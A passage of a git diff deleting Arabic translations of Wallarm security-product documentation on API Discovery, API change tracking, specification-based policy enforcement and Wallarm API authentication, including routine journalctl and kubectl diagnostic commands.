[sales@wallarm.com](mailto:sales@wallarm.com). -1. في لوحة تحكم Wallarm → **استكشاف واجهة البرمجة التطبيقية** → **تكوين استكشاف واجهة البرمجة التطبيقية**، قم بتفعيل تحليل الحركة مع استكشاف واجهة البرمجة التطبيقية. - -بمجرد تمكين موديول استكشاف واجهة البرمجة التطبيقية، سيبدأ تحليل الحركة وبناء جرد واجهة البرمجة التطبيقية. سيتم عرض جرد واجهة البرمجة التطبيقية في قسم **استكشاف واجهة البرمجة التطبيقية** في لوحة تحكم Wallarm. - -## التكوين - -بالنقر على زر **تكوين استكشاف واجهة البرمجة التطبيقية** في قسم **استكشاف واجهة البرمجة التطبيقية**، تنتقل إلى خيارات الضبط الدقيق لاستكشاف واجهة البرمجة التطبيقية، مثل اختيار التطبيقات لاستكشاف واجهة البرمجة التطبيقية وتخصيص حساب درجة الخطر. - -### اختيار التطبيقات لاستكشاف واجهة البرمجة التطبيقية - -يمكنك تمكين/تعطيل استكشاف واجهة البرمجة التطبيقية لجميع التطبيقات أو للتطبيقات المحددة فقط: - -1. تأكد من إضافة التطبيقات كما هو موضح في مقالة [إعداد التطبيقات](../user-guides/settings/applications.md). - - إذا لم يتم تكوين التطبيقات، تُجمع بنيات جميع واجهات البرمجة التطبيقية في شجرة واحدة. - -1. قم بتمكين استكشاف واجهة البرمجة التطبيقية للتطبيقات المطلوبة في لوحة تحكم Wallarm → **استكشاف واجهة البرمجة التطبيقية** → **تكوين استكشاف واجهة البرمجة التطبيقية**. - - ![استكشاف واجهة البرمجة التطبيقية – الإعدادات](../images/about-wallarm-waf/api-discovery/api-discovery-settings.png) - -عند إضافة تطبيق جديد في **الإعدادات** → **[التطبيقات](../user-guides/settings/applications.md)**، يتم إضافته تلقائيًا إلى قائمة التطبيقات لاستكشاف واجهة البرمجة التطبيقية في الحالة **المعطلة**. - -### تخصيص حساب درجة الخطر - -يمكنك تكوين وزن كل عامل في حساب [درجة الخطر](risk-score.md) وطريقة الحساب. - -## التشخيص - -للحصول على وتحليل سجلات استكشاف واجهة البرمجة التطبيقية، يمكنك استخدام الطرق التالية: - -* إذا تم تثبيت عقدة Wallarm من حزم DEB/RPM الفردية: تشغيل الأداة القياسية **journalctl** أو **systemctl** داخل النسخة. - - === "journalctl" - ```bash - journalctl -u wallarm-appstructure - ``` - === "systemctl" - ```bash - systemctl status wallarm-appstructure - ``` -* إذا تم توظيف عقدة Wallarm من حاوية Docker، صورة آلة Amazon (AMI) أو صورة آلة Google Cloud: قراءة ملف السجل `/opt/wallarm/var/log/wallarm/appstructure-out.log` داخل الحاوية. -* إذا تم توظيف عقدة Wallarm كمتحكم دخول Kubernetes: تحقق من حالة التجميع الذي يعمل فيه حاويات Tarantool و`wallarm-appstructure`. يجب أن تكون حالة التجميع **تعمل**. - - ```bash - kubectl get po -l app=nginx-ingress,component=controller-wallarm-tarantool - ``` - - قراءة سجلات حاوية `wallarm-appstructure`: - - ```bash - kubectl logs -l app=nginx-ingress,component=controller-wallarm-tarantool -c wallarm-appstructure - ``` \ No newline at end of file diff --git a/docs/latest-ar/api-discovery/track-changes.md b/docs/latest-ar/api-discovery/track-changes.md deleted file mode 100644 index a8736c2315..0000000000 --- a/docs/latest-ar/api-discovery/track-changes.md +++ /dev/null @@ -1,76 +0,0 @@ -# تتبع التغييرات في الواجهة البرمجية للتطبيق - -إذا حدثت تغييرات في الواجهة البرمجية للتطبيق، فإن [اكتشاف الواجهة البرمجية](overview.md) يُحدث الجرد الذي تم بناؤه للواجهة البرمجية، ويسلط الضوء على التغييرات ويزودك بمعلومات عن موعد وماهية التغييرات. بالإضافة إلى ذلك، يمكنك ضبط الإشعارات لجميع التغييرات أو بعضها. - -![اكتشاف الواجهة البرمجية - تتبع التغييرات](../images/about-wallarm-waf/api-discovery/api-discovery-track-changes.png) - -قد تضم الشركة فرق عمل متعددة، ولغات برمجة متفرقة، ومجموعة متنوعة من إطارات العمل. لذا، يمكن أن تأتي التغييرات إلى الواجهة البرمجية في أي وقت من مصادر مختلفة مما يجعل من الصعب التحكم بها. بالنسبة لمسؤولي الأمان، من المهم اكتشاف التغييرات في أسرع وقت ممكن وتحليلها. إذا تم تجاهل هذه التغييرات، فقد تحمل بعض المخاطر، على سبيل المثال: - -* يمكن لفريق التطوير أن يبدأ باستخدام مكتبة من طرف ثالث مع واجهة برمجية خاصة بها ولا يُخطرون متخصصي الأمان بذلك. بهذه الطريقة، تحصل الشركة على نقاط نهاية غير مراقبة وغير مفحوصة بحثًا عن الثغرات الأمنية. ويمكن أن تكون اتجاهات هجوم محتملة. -* تبدأ بيانات الهوية الشخصية (PII) بالانتقال إلى نقطة النهاية. يمكن أن يؤدي النقل غير المخطط لبيانات الهوية الشخصية إلى انتهاك الامتثال لمتطلبات المنظمين، وكذلك إلى مخاطر سمعة. -* نقطة النهاية المهمة لمنطق العمل (على سبيل المثال، `/login`, `/order/{order_id}/payment/`) لم تعد تُستدعى. -* تبدأ بيانات أخرى لا ينبغي نقلها، على سبيل المثال `is_admin` (شخص ما يصل إلى نقطة النهاية ويحاول القيام بذلك بحقوق المسؤول) بالانتقال إلى نقطة النهاية. - -## تسليط الضوء على التغييرات في الواجهة البرمجية للتطبيق - -في كل مرة تفتح فيها قسم **اكتشاف الواجهة البرمجية**، يتم تغيير حالة فلتر **التغييرات منذ** إلى `الأسبوع الماضي`، مما يعني أن التغييرات التي حدثت خلال الأسبوع الماضي يتم تسليط الضوء عليها. لتغيير الفترة الزمنية، قم بإعادة تعيين التواريخ في فلتر **التغييرات منذ**. - -في قائمة نقاط النهاية، تبرز العلامات التالية التغييرات في الواجهة البرمجية للتطبيق: - -* **جديد** لنقاط النهاية المضافة إلى القائمة خلال الفترة. -* **تم التغيير** لنقاط النهاية التي تم اكتشاف باراميترات جديدة لها أو باراميترات حصلت على حالة `غير مستخدم` خلال الفترة. في تفاصيل نقطة النهاية، ستكون لهذه الباراميترات علامة مقابلة. - - * يحصل الباراميتر على حالة `جديد` إذا تم اكتشافه خلال الفترة. - * يحصل الباراميتر على حالة `غير مستخدم` إذا لم ينقل أي بيانات لمدة 7 أيام. - * إذا نقل الباراميتر في حالة `غير مستخدم` بيانات مرة أخرى لاحقًا سيفقد حالة `غير مستخدم`. - -* **غير مستخدم** لنقاط النهاية التي حصلت على حالة `غير مستخدم` خلال الفترة. - - * تحصل نقطة النهاية على حالة `غير مستخدم` إذا لم يتم الطلب عليها (مع الرمز 200 في الاستجابة) لمدة 7 أيام. - * إذا تم الطلب على نقطة النهاية في حالة `غير مستخدم` مرة أخرى لاحقًا (مع الرمز 200 في الاستجابة) ستفقد حالة `غير مستخدم`. - -لاحظ أنه مهما كانت الفترة المحددة، إذا لم يتم تسليط الضوء على أي شيء بعلامة **جديد**، **تم التغيير** أو **غير مستخدم**، فهذا يعني أنه لا توجد تغييرات في الواجهة البرمجية للتطبيق لتلك الفترة. - -![اكتشاف الواجهة البرمجية - تتبع التغييرات](../images/about-wallarm-waf/api-discovery/api-discovery-track-changes.png) - -نصائح سريعة لنقاط النهاية المعلمة كمارقة: - -* مرر مؤشر الفأرة فوق علامات **جديد**، **تم التغيير** أو **غير مستخدم** لرؤية متى حدث التغيير -* انتقل إلى تفاصيل نقطة النهاية **المتغيرة** لرؤية سبب هذه الحالة: باراميترات **جديدة** وباراميترات حصلت على حالة **غير مستخدم** - مرر مؤشر الفأرة فوق العلامات لرؤية متى حدث تغيير الباراميتر -* يتم عرض العدادات لجميع أنواع التغييرات لآخر 7 أيام في [لوحة تحكم اكتشاف الواجهة البرمجية](dashboard.md). - -## تصفية التغييرات في الواجهة البرمجية للتطبيق - -في قسم **اكتشاف الواجهة البرمجية**، يؤدي استخدام فلتر **التغييرات منذ** إلى تسليط الضوء فقط على نقاط النهاية التي تغيرت خلال الفترة المحددة، ولكنه لا يستبعد نقاط النهاية بدون تغييرات. - -فلتر **التغييرات في الواجهة البرمجية للتطبيق** يعمل بشكل مختلف ويظهر **فقط** نقاط النهاية التي تغيرت خلال الفترة المحددة ويستبعد جميع البقية. - -لنأخذ المثال التالي: لنفترض أن الواجهة البرمجية للتطبيق لديك اليوم تحتوي على 10 نقاط نهاية (كان هناك 12، ولكن تم وسم 3 منها بأنها غير مستخدمة قبل 10 أيام). تم إضافة واحدة من هذه الـ 10 نقاط النهاية أمس، وحدثت تغييرات في باراميتراتهما خلال 5 أيام لواحدة و10 أيام للأخرى: - -* كل مرة تفتح فيها قسم **اكتشاف الواجهة البرمجية** اليوم، سيتغير فلتر **التغييرات منذ** إلى حالة `الأسبوع الماضي`؛ ستُعرض الصفحة 10 نقاط نهاية، في عمود **التغييرات** واحدة منها ستحمل علامة **جديد**، وواحدة - علامة **تم التغيير**. -* اضبط فلتر **التغييرات منذ** على `آخر أسبوعين` - سيتم عرض 13 نقطة نهاية، في عمود **التغييرات** واحدة منها ستحمل علامة **جديد**، واثنتان - علامة **تم التغيير**، وثلاثة - علامة **غير مستخدم**. -* ضبط **التغييرات في الواجهة البرمجية للتطبيق** على `نقاط النهاية غير المستخدمة` - سيتم عرض 3 نقاط نهاية، جميعها ذات علامة **غير مستخدم**. -* تغيير **التغييرات في الواجهة البرمجية للتطبيق** إلى `نقاط النهاية الجديدة + نقاط النهاية غير المستخدمة` - سيتم عرض 4 نقاط نهاية، 3 ذات علامة **غير مستخدم**، وواحدة ذات علامة **جديد**. -* اضبط فلتر **التغييرات منذ** مرة أخرى على `الأسبوع الماضي` - سيتم عرض نقطة نهاية واحدة، وستحمل علامة **جديد**. - -## الحصول على الإشعارات - -للحصول على إشعارات فورية حول التغييرات في الواجهة البرمجية للتطبيق إلى بريدك الإلكتروني أو برنامج المراسلة الخاص بك، قم بتكوين [المشغلات](../user-guides/triggers/triggers.md) مع شرط **التغييرات في الواجهة البرمجية للتطبيق**. - -يمكنك الحصول على رسائل حول نقاط النهاية الجديدة، أو المتغيرة، أو غير المستخدمة، أو عن جميع هذه التغييرات. يمكنك أيضاً تقييد الإشعارات بواسطة التطبيق أو المضيف الذي تريد مراقبته وبواسطة نوع البيانات الحساسة المقدمة. - -**مثال المشغل: الإشعار عن نقاط النهاية الجديدة في Slack** - -في هذا المثال، إذا تم اكتشاف نقاط نهاية جديدة لمضيف واجهة برمجية التطبيق `example.com` بواسطة وحدة اكتشاف الواجهة البرمجية، سيتم إرسال الإشعار عن ذلك إلى قناة Slack المكونة لديك. - -![تغييرات في الواجهة البرمجية للتطبيق المشغل](../images/user-guides/triggers/trigger-example-changes-in-api.png) - -**لتجربة المشغل:** - -1. اذهب إلى وحدة تحكم Wallarm → **التكاملات** في [السحابة الأمريكية](https://us1.my.wallarm.com/integrations/) أو [السحابة الأوروبية](https://my.wallarm.com/integrations/)، وقم بتكوين [التكامل مع Slack](../user-guides/settings/integrations/slack.md). -1. في قسم **المشغلات**، أنشئ مشغلاً كما هو موضح أعلاه. -1. أرسل عدة طلبات إلى نقطة النهاية `example.com/users` للحصول على الاستجابة `200` (`موافق`). -1. في قسم **اكتشاف الواجهة البرمجية**، تحقق من أن نقطة النهاية الخاصة بك تمت إضافتها بعلامة **جديد**. -1. تحقق من الرسائل في قناة Slack الخاصة بك مثل: - ``` - [wallarm] تم اكتشاف نقطة نهاية جديدة في واجهة برمجية التطبيق ال \ No newline at end of file diff --git a/docs/latest-ar/api-protection/business-logic-abuse-detection.md b/docs/latest-ar/api-protection/business-logic-abuse-detection.md deleted file mode 100644 index 06d98b40c5..0000000000 --- a/docs/latest-ar/api-protection/business-logic-abuse-detection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/api-protection/business-logic-abuse-detection.md" \ No newline at end of file diff --git a/docs/latest-ar/api-protection/file-upload-restriction.md b/docs/latest-ar/api-protection/file-upload-restriction.md deleted file mode 100644 index e9e8289c9e..0000000000 --- a/docs/latest-ar/api-protection/file-upload-restriction.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/api-protection/file-upload-restriction.md" \ No newline at end of file diff --git a/docs/latest-ar/api-sessions/blocking.md b/docs/latest-ar/api-sessions/blocking.md deleted file mode 100644 index 2fbb34aaed..0000000000 --- a/docs/latest-ar/api-sessions/blocking.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/api-sessions/blocking.md" \ No newline at end of file diff --git a/docs/latest-ar/api-sessions/exploring.md b/docs/latest-ar/api-sessions/exploring.md deleted file mode 100644 index 2f24a7e79c..0000000000 --- a/docs/latest-ar/api-sessions/exploring.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/api-sessions/exploring.md" \ No newline at end of file diff --git a/docs/latest-ar/api-sessions/overview.md b/docs/latest-ar/api-sessions/overview.md deleted file mode 100644 index f2cd7a73dc..0000000000 --- a/docs/latest-ar/api-sessions/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/api-sessions/overview.md" \ No newline at end of file diff --git a/docs/latest-ar/api-sessions/setup.md b/docs/latest-ar/api-sessions/setup.md deleted file mode 100644 index 04c454b444..0000000000 --- a/docs/latest-ar/api-sessions/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/api-sessions/setup.md" \ No newline at end of file diff --git a/docs/latest-ar/api-specification-enforcement/overview.md b/docs/latest-ar/api-specification-enforcement/overview.md deleted file mode 100644 index 85bf4fc736..0000000000 --- a/docs/latest-ar/api-specification-enforcement/overview.md +++ /dev/null @@ -1,43 +0,0 @@ -[waf-mode-instr]: ../admin-en/configure-wallarm-mode.md - -# نظرة عامة على تطبيق سياسات واجهة برمجة التطبيقات - -صُمم **تطبيق سياسات واجهة برمجة التطبيقات** لتطبيق السياسات الأمنية على واجهات برمجة التطبيقات الخاصة بك استنادًا إلى المواصفات التي قمت برفعها. تتمثل وظيفته الأساسية في اكتشاف الاختلافات بين وصف النقاط الطرفية في المواصفات والطلبات الفعلية المقدمة إلى واجهات برمجة التطبيقات REST الخاصة بك. عند تحديد مثل هذه الاختلافات، يمكن للنظام اتخاذ إجراءات محددة مسبقًا لمعالجتها. - -![تطبيق سياسات واجهة برمجة التطبيقات - رسم تخطيطي](../images/api-specification-enforcement/api-specification-enforcement-diagram.png) - -## المشاكل التي يعالجها تطبيق سياسات واجهة برمجة التطبيقات - -قد تستخدم منظمتك عددًا من التطبيقات المُتاحة عبر واجهة برمجة التطبيقات وعددًا كبيرًا من عناوين IPs الخارجية، بما في ذلك أدوات الأتمتة، التي تحاول الوصول إليها. إنها مهمة تستهلك الكثير من الموارد لإنشاء قيود محددة مرتبطة ببعض المصادر أو الأهداف أو السلوكيات. - -يسمح تطبيق سياسات واجهة برمجة التطبيقات بتقليل جهود الأمان عن طريق استخدام النموذج الأمني الإيجابي - عبر المواصفات يُعرّف ما هو مسموح به، وعبر مجموعة قصيرة من السياسات يُعرّف كيفية التعامل مع كل ما عدا ذلك. - -**مع وصف جرد واجهة برمجة التطبيقات الخاصة بك بشكل شامل بواسطة مواصفات واجهة برمجة التطبيقات، يمكنك**: - -* رفع هذه المواصفات إلى Wallarm. -* بعدة نقرات فقط، تعيين السياسات تجاه الطلبات إلى عناصر واجهة برمجة التطبيقات، الغير مُقدمة أو المتناقضة مع المواصفات. - -وبالتالي: - -* تجنب إنشاء قواعد تقييدية محددة. -* تجنب تحديثات هذه القواعد الضرورية بصورة لا مفر منها. -* عدم تفويت الهجمات التي لم تُعد لها قاعدة تقييدية مباشرة. - -## كيف يعمل - -قد تخالف الطلبات مواصفاتك من خلال مواقف مختلفة: - ---8<-- "../include/api-policies-enforcement/api-policies-violations.md" - -يمتلك تطبيق سياسات واجهة برمجة التطبيقات حدودًا زمنية (50 مللي ثانية) وحجم طلب (1024 كيلوبايت) - عند تجاوز هذه الحدود، يتوقف عن معالجة الطلب ويُنشئ [حدث](viewing-events.md#overlimit-events) **تجاوز حد المعالجة للمواصفات** في قسم **الهجمات**، يذكر أن أحد هذه الحدود قد تم تجاوزه. - -!!! info "تطبيق سياسات واجهة برمجة التطبيقات وتدابير الحماية الأخرى" - لاحظ أنه إذا توقف تطبيق سياسات واجهة برمجة التطبيقات عن معالجة الطلب، فهذا لا يعني أنه لن يتم معالجته بواسطة إجراءات حماية Wallarm الأخرى. لذلك، إذا كانت هجمة، سيتم تسجيلها أو حظرها وفقًا لتكوين Wallarm. - -لتغيير الحدود أو سلوك Wallarm (من مراقبة تجاوز الحدود إلى حظر مثل هذه الطلبات)، اتصل بـ[دعم Wallarm](mailto:support@wallarm.com). - -لاحظ أن تطبيق سياسات واجهة برمجة التطبيقات يضيف تنظيمه إلى [اكتشاف الهجوم](../about-wallarm/protecting-against-attacks.md) المعتاد الذي يؤديه عقدة Wallarm ولا يحل محله، لذا سيتم فحص حركة المرور الخاصة بك للتحقق من عدم وجود علامات الهجوم ومطابقتها لمواصفاتك. - -## الإعداد - -لبدء حماية واجهات برمجة التطبيقات الخاصة بك باستخدام تطبيق سياسات واجهة برمجة التطبيقات، قم برفع مواصفاتك، وضبط السياسات كما هو موضح [هنا](setup.md). \ No newline at end of file diff --git a/docs/latest-ar/api-specification-enforcement/setup.md b/docs/latest-ar/api-specification-enforcement/setup.md deleted file mode 100644 index 5da3fe6eb4..0000000000 --- a/docs/latest-ar/api-specification-enforcement/setup.md +++ /dev/null @@ -1,48 +0,0 @@ -[waf-mode-instr]: ../admin-en/configure-wallarm-mode.md - -# إعداد تطبيق سياسة واجهة برمجة التطبيقات - -تصف هذه المقالة كيفية تمكين وتهيئة حماية واجهة برمجة التطبيقات بناءً على [مواصفات واجهة برمجة التطبيقات التي قمت بتحميلها](overview.md). - -## الخطوة 1: تحميل المواصفات - -1. في قسم **مواصفات واجهة برمجة التطبيقات** في [السحابة الأمريكية](https://us1.my.wallarm.com/api-specifications/) أو [السحابة الأوروبية](https://my.wallarm.com/api-specifications/)، انقر على **تحميل المواصفات**. -1. قم بتعيين معايير تحميل المواصفات وابدء بالتحميل. - - ![تحميل المواصفات](../images/api-specification-enforcement/specificaton-upload.png) - -لاحظ أنه لن يكون بإمكانك البدء بتهيئة تطبيق سياسة واجهة برمجة التطبيقات استنادًا إلى المواصفات، حتى يتم تحميل ملفها بنجاح. - -## الخطوة 2: تعيين الإجراءات لانتهاكات السياسات - -1. انقر على علامة التبويب **تطبيق سياسة واجهة برمجة التطبيقات**. - - !!! info "كشف واجهة برمجة التطبيقات الغير مصرح بها" - * بالإضافة إلى تطبيق السياسة، يمكن استخدام المواصفات من قبل وحدة [اكتشاف واجهة برمجة التطبيقات](../api-discovery/overview.md) لـ [كشف واجهة برمجة التطبيقات الغير مصرح بها](../api-discovery/rogue-api.md). يتم عرض العلامة التبويب إذا تم تمكين اكتشاف واجهة برمجة التطبيقات. - * قبل استخدام المواصفات لتطبيق السياسة، يُنصح باستخدامها للبحث عن واجهات برمجة التطبيقات الغير مصرح بها (الظل، زومبي واليتيمة) باستخدام اكتشاف واجهة برمجة التطبيقات. بهذه الطريقة، يمكنك فهم مقدار اختلاف مواصفاتك عن الطلبات الفعلية لعملائك - هذه الاختلافات ستؤدي على الأرجح إلى حظر الطلبات ذات الصلة بعد تطبيق السياسة. - -1. حدد **استخدم المواصفات لتطبيق سياسة واجهة برمجة التطبيقات**. -1. حدد الاستضافة أو نقطة النهاية التي ترغب في تنشيط إجراءات انتهاك السياسة لها. - - * لاحظ أنه إذا حددت بشكل غير صحيح النقاط التي يجب تطبيق المواصفات عليها، سيكون هناك العديد من الأحداث [الإيجابية الكاذبة](../about-wallarm/protecting-against-attacks.md#false-positives). - * إذا كان لديك مواصفات عديدة تنطبق على نفس الاستضافة، ولكن لنقاط نهاية مختلفة (على سبيل المثال `domain.com/v1/api/users/` و `domain.com/v1/api/orders/`)، يجب عليك **تحديد** النقاط التي يجب تطبيق المواصفات عليها. - * إذا أضفت مواصفات إلى استضافة، ثم أضفت مواصفة أخرى إلى نقاط نهاية فردية لهذه الاستضافة، سيتم تطبيق كلتا المواصفتين على هذه النقاط. - * يمكن تهيئة القيمة عبر [مُنشئ URI](../user-guides/rules/rules.md#uri-constructor) أو [نموذج التحرير المتقدم](../user-guides/rules/rules.md#advanced-edit-form). - -1. حدد كيف يجب أن يتفاعل النظام إذا كانت الطلبات تخالف مواصفاتك. - - ![المواصفات - استخدامها لتطبيق سياسة واجهة برمجة التطبيقات](../images/api-specification-enforcement/specification-use-for-api-policies-enforcement.png) - - التفاصيل حول الانتهاكات المحتملة: - - --8<-- "../include/api-policies-enforcement/api-policies-violations.md" - - عند استخدام المواصفات لأول مرة لتطبيق سياسة واجهة برمجة التطبيقات، يُنصح بتعيين `Monitor` كرد فعل للتأكد من أن المواصفات تُطبق على النقاط الضرورية وتكتشف الأخطاء الحقيقية. - -**التعطيل** - -في بعض الحالات، قد يكون من الضروري تعطيل وظيفة تطبيق سياسة واجهة برمجة التطبيقات لبعض أجزاء واجهة برمجة التطبيقات الخاصة بك. يمكن القيام بذلك: - -* بالنسبة لتثبيتات حزم NGINX بما في ذلك تلك عبر [المثبت الشامل](../installation/nginx/all-in-one.md)، لأي قسم `server` حيث يُستخدم تطبيق سياسة واجهة برمجة التطبيقات من خلال توجيه NGINX [`wallarm_enable_apifw`](../admin-en/configure-parameters-en.md#wallarm_enable_apifw) المُعدّ لـ `off`. -* بالنسبة لصورة Docker القائمة على NGINX، من خلال متغير البيئة `WALLARM_APIFW_ENABLE` [متغير البيئة](../admin-en/installation-docker-en.md#run-the-container-passing-the-environment-variables) المُعدّ إلى `false`. -* بالنسبة لوحدة تحكم الوصول NGINX، من خلال مجموعة القيم [`controller.wallarm.apifirewall`](../admin-en/configure-kubernetes-en.md#controllerwallarmapifirewall) مع تعيين `enable` إلى `false`. \ No newline at end of file diff --git a/docs/latest-ar/api-specification-enforcement/viewing-events.md b/docs/latest-ar/api-specification-enforcement/viewing-events.md deleted file mode 100644 index 18da4fac44..0000000000 --- a/docs/latest-ar/api-specification-enforcement/viewing-events.md +++ /dev/null @@ -1,21 +0,0 @@ -# مشاهدة الأحداث الناتجة عن تنفيذ سياسات واجهة برمجة التطبيقات - -عندما [تقوم برفع](setup.md) مواصفات واجهة برمجة التطبيقات الخاصة بك لاستخدامها في تنفيذ السياسات بناءً على المواصفات وتكوين التنفيذ، تبدأ السياسات بالتطبيق على الطلبات. يصف هذا المقال كيفية عرض وتحليل الطلبات التي تخالف السياسات في وحدة تحكم Wallarm. - -## إحصائيات حول الطلبات التي تخالف السياسات - -لمراقبة الاتجاهات في مخالفات السياسات، تحقق من عدد مخالفات المواصفات في وحدة تحكم Wallarm تحت **مواصفات واجهة برمجة التطبيقات** → مواصفاتك → عمود **مخالفات السياسة**. تقدم هذه البيانات رؤى لآخر 7 أيام. - -يمكنك النقر على هذا العدد لرؤية التفاصيل في قسم **الهجمات**. - -## تحليل الطلبات التي تخالف السياسات - -في قسم **الهجمات**، استخدم فلتر **المقارنة بـ...** أو الوسم [`spec:''`](../user-guides/search-and-filters/use-search.md#search-by-specification) لإيجاد جميع الأحداث المتعلقة بمخالفات السياسة للمواصفات المحددة. للحصول على ``، في **مواصفات واجهة برمجة التطبيقات**، افتح مواصفاتك للتحرير - سيتم عرض `specid` في حقل عنوان متصفحك. - -![المواصفات - استخدام لتنفيذ سياسة واجهة برمجة التطبيقات](../images/api-specification-enforcement/api-specification-enforcement-events.png) - -قد يتم عرض الأحداث المحظورة والمراقبة بناءً على الإجراءات المُعدة لمخالفات السياسة. في تفاصيل الحدث، يتم عرض نوع المخالفة ورابط للمواصفات المسببة. استخدم فلاتر **النوع** للبحث عن مخالفات محددة. - -## أحداث تجاوز الحد - -عند مشاهدة الأحداث المتعلقة بسياسات المواصفات الخاصة بك، قد تواجه نوع الحدث **تجاوز حد معالجة المواصفات** المتعلق بالحدود المطبقة لتنفيذ سياسة واجهة برمجة التطبيقات أثناء معالجتها للطلبات. انظر التفاصيل ووصف الإجراءات الممكنة [هُنا](overview.md#how-it-works). \ No newline at end of file diff --git a/docs/latest-ar/api/overview.md b/docs/latest-ar/api/overview.md deleted file mode 100644 index 19d4874339..0000000000 --- a/docs/latest-ar/api/overview.md +++ /dev/null @@ -1,61 +0,0 @@ -# نظرة عامة على API لـ Wallarm - -توفر واجهة برمجة التطبيقات (API) من Wallarm تفاعلًا بين مكونات نظام Wallarm. يمكنك استخدام طرق API في Wallarm لإنشاء، الحصول على، أو تحديث الحالات التالية: - -* الثغرات الأمنية -* الهجمات -* الحوادث -* المستخدمين -* العملاء -* عقد الفلترة -* إلخ. - -يتم تقديم وصف طرق API في **واجهة Wallarm API** المتاحة من واجهة Wallarm ← أعلى اليمين ← `؟` → **واجهة Wallarm API** أو مباشرةً عبر الرابط: - -* https://apiconsole.us1.wallarm.com/ لـ[السحابة الأمريكية](../about-wallarm/overview.md#us-cloud) -* https://apiconsole.eu1.wallarm.com/ لـ[السحابة الأوروبية](../about-wallarm/overview.md#eu-cloud) - -![واجهة Wallarm API](../images/wallarm-api-reference.png) - -## نقطة نهاية API - -يتم إرسال طلبات API إلى عنوان URL التالي: - -* `https://us1.api.wallarm.com/` لـ[السحابة الأمريكية](../about-wallarm/overview.md#us-cloud) -* `https://api.wallarm.com/` لـ[السحابة الأوروبية](../about-wallarm/overview.md#eu-cloud) - -## مصادقة طلبات API - -يجب أن تكون مستخدمًا مُعتمدًا لتقديم طلبات API إلى Wallarm. تعتمد طريقة مصادقة طلبات API على العميل الذي يرسل الطلب: - -* [واجهة مرجع API](#api-reference-ui) -* [عميل API الخاص بك](#your-own-api-client) - -### واجهة Wallarm API - -يتم استخدام رمز لمصادقة الطلب. يتم توليد الرمز بعد المصادقة الناجحة في حساب Wallarm الخاص بك. - -1. قم بتسجيل الدخول إلى واجهة Wallarm باستخدام الرابط: - * https://us1.my.wallarm.com/ للسحابة الأمريكية - * https://my.wallarm.com/ للسحابة الأوروبية -2. قم بتحديث صفحة واجهة Wallarm API باستخدام الرابط: - * https://apiconsole.us1.wallarm.com/ للسحابة الأمريكية - * https://apiconsole.eu1.wallarm.com/ للسحابة الأوروبية -3. انتقل إلى طريقة API المطلوبة → القسم **جربها**، أدخل قيم الوسائط و**نفِّذ** الطلب. - -### عميل API الخاص بك - -لمصادقة الطلبات من عميل API الخاص بك إلى API لـ Wallarm: - -1. قم بتسجيل الدخول إلى حساب Wallarm الخاص بك في [السحابة الأمريكية](https://us1.my.wallarm.com/) أو [السحابة الأوروبية](https://my.wallarm.com/) → **الإعدادات** → **رموز API**. -1. [قم بإنشاء](../user-guides/settings/api-tokens.md#configuring-tokens) رمز للوصول إلى API لـ Wallarm. -1. افتح رمزك وانسخ القيمة من القطاع **الرمز**. -1. أرسل طلب API المطلوب مرورًا بقيمة **الرمز** في معامل الرأس `X-WallarmApi-Token`. - -[مزيد من التفاصيل حول رموز API →](../user-guides/settings/api-tokens.md) - -## نهج Wallarm في تطوير وتوثيق API - -مرجع API من Wallarm هو تطبيق صفحة واحدة (SPA) مع جميع البيانات المعروضة يتم جلبها ديناميكيًا من API. يدفع هذا التصميم Wallarm إلى استخدام نهج [إعطاء الأولوية لـ API](https://swagger.io/resources/articles/adopting-an-api-first-approach/) عندما يصبح البيانات والوظائف الجديدة متاحة أولاً في API العام وكخطوة تالية يتم وصفها في مرجع API. عادةً ما يتم إصدار جميع الوظائف الجديدة بالتوازي في كل من API العام ومرجع API، ولكن أحيانًا يتم إصدار تغييرات API الجديدة قبل تغييرات مرجع API، وبعض الوظائف متاحة عبر API العام فقط. - -يتم إنشاء مرجع API من Wallarm من ملف Swagger باستخدام أداة [Swagger UI](https://swagger.io/tools/swagger-ui/). يوفر مرجع API طريقة سهلة للتعرف على نقاط النهاية، والطرق، وهياكل البيانات المتاحة في API. كما يوفر طريقة بسيطة لتجربة جميع نقاط النهاية المتاحة. \ No newline at end of file diff --git a/docs/latest-ar/api/request-examples.md b/docs/latest-ar/api/request-examples.md deleted file mode 100644 index f49ae1f058..0000000000 --- a/docs/latest-ar/api/request-examples.md +++ /dev/null @@ -1,238 +0,0 @@ -[access-wallarm-api-docs]: #your-own-client -[application-docs]: ../user-guides/settings/applications.md - -# أمثلة على طلب API من Wallarm - -فيما يلي بعض أمثلة استخدام API من Wallarm. يمكنك أيضًا إنشاء أمثلة الرموز عبر واجهة المستخدم للإشارة إلى API لـ [السحابة الأمريكية](https://apiconsole.us1.wallarm.com/) أو [السحابة الأوروبية](https://apiconsole.eu1.wallarm.com/). يمكن للمستخدمين ذوي الخبرة أيضًا استخدام واجهة برمجة الطبيقات المطورة للمتصفح ("علامة التبويب الشبكة") لتعلم بسرعة أي نقاط الطرف والطلبات المستخدمة من واجهة المستخدم لحسابك في Wallarm لجمع البيانات من API العامة. يمكنك البحث عن معلومات حول كيفية فتح وحدة تحكم المطور باستخدام التوثيق الرسمي للمتصفح ([Safari](https://support.apple.com/guide/safari/use-the-developer-tools-in-the-develop-menu-sfri20948/mac), [Chrome](https://developers.google.com/web/tools/chrome-devtools/), [Firefox](https://developer.mozilla.org/en-US/docs/Tools), [Vivaldi](https://help.vivaldi.com/article/developer-tools/)). - -## احصل على الهجمات الـ50 الأولى التي تم اكتشافها في الـ 24 ساعة الماضية - -يرجى استبدال `TIMESTAMP` بالتاريخ منذ 24 ساعة وتحويله إلى تنسيق [Unix Timestamp](https://www.unixtimestamp.com/). - ---8<-- "../include/api-request-examples/get-attacks-en.md" - -## الحصول على عدد كبير من الهجمات (100 وأكثر) - -بالنسبة لمجموعات الهجمات والضربات التي تحتوي على 100 سجل أو أكثر ، من الأفضل استردادها بأجزاء أصغر بدلاً من جمع مجموعات البيانات الكبيرة في آن واحد، وذلك من أجل تحسين الأداء. وتدعم نقاط API العليا لـ Wallarm الصفحة بناءً على المؤشر مع 100 سجل لكل صفحة. - -تتضمن هذه التقنية إعادة المؤشر إلى عنصر محدد في مجموعة البيانات 